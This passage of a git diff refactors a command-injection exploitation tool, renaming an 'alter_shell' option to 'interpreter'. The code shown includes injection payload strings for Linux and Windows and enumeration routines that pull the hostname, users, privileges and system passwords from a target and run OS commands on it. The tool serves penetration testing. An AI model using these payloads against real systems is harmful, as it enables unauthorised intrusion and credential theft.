menu.options.interpreter: + err_msg += " If you're confident it's valid, try the '--interpreter' option or another injection technique." else: err_msg += " If you're confident it's valid, try another injection technique." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 476d6671d9..e7bd83c6ed 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -62,7 +62,7 @@ def basic_payload_generator(): prefix = "(" suffix = ")" settings.BASIC_STRING = prefix + calc_string + suffix - alter_shell_basic_string = " -c \"print(int(" + calc_string + "))\"" + alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + @@ -70,11 +70,11 @@ def basic_payload_generator(): "|echo " + marker1 + "%26set /a " + settings.BASIC_STRING + "%26echo " + marker2 + "%26echo " + marker1 + "%26set /a " + settings.BASIC_STRING + "%26echo " + marker2 ] - settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_shell_basic_string + settings.CMD_SUB_SUFFIX + marker2 + - "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_shell_basic_string + settings.CMD_SUB_SUFFIX + marker2 + - "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_shell_basic_string + settings.CMD_SUB_SUFFIX + marker2, - "|echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_shell_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + - "%26echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_shell_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "%26echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2, + "|echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 + + "%26echo " + marker1 + "%26for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "%26echo " + marker2 ] settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(str(rand_a + rand_b)) + r"\s*" + re.escape(marker2) """ @@ -173,8 +173,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, check_parameter = check_parameter.lstrip().rstrip() checks.perform_payload_modification(payload="") basic_payload_generator() - if menu.options.alter_shell: - basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS + if menu.options.interpreter: + basic_payloads = settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS else: basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index 7eec7352c3..762df17d38 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -28,7 +28,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -41,22 +41,22 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector _ = False cmd = settings.PS_VERSION - if not settings.TIME_RELATED_ATTACK and alter_shell: + if not settings.TIME_RELATED_ATTACK and interpreter: cmd = checks.escape_single_quoted_cmd(cmd) if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) ps_version = shell else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -71,7 +71,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ Hostname enumeration """ -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -92,18 +92,18 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -118,7 +118,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h """ Retrieve system information """ -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -134,22 +134,22 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS - if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: + if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and interpreter: cmd = "cmd /c " + cmd if not checks.usable_stored_cmd(session_handler.export_stored_cmd(url, cmd, vuln_parameter)) or menu.options.ignore_session: # Command execution results. if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -173,15 +173,15 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, # Command execution results. if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -204,15 +204,15 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -229,7 +229,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ The current user enumeration """ -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -250,15 +250,15 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -273,7 +273,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ Check if the Current user is privileged. """ -def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -297,15 +297,15 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -320,7 +320,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ System users enumeration """ -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -338,7 +338,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.WIN_SYS_USERS if settings.TIME_RELATED_ATTACK: cmd = cmd + settings.WIN_REPLACE_WHITESPACE - if alter_shell: + if interpreter: cmd = checks.escape_single_quoted_cmd(cmd) if not settings.TIME_RELATED_ATTACK: cmd = checks.add_new_cmd(cmd) @@ -348,17 +348,17 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese _ = True try: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) except TypeError: sys_users = "" else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -368,12 +368,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) + checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter) """ System passwords enumeration """ -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -392,17 +392,17 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) if sys_passes == False: sys_passes = "" else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -412,12 +412,12 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, interpreter) """ Single os-shell execution """ -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -437,15 +437,15 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: # Command execution results. - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) @@ -462,7 +462,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ Check the defined options """ -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() @@ -470,32 +470,32 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): checks.print_enumenation().ps_version_msg() - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.hostname: checks.print_enumenation().hostname_msg() - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.current_user: 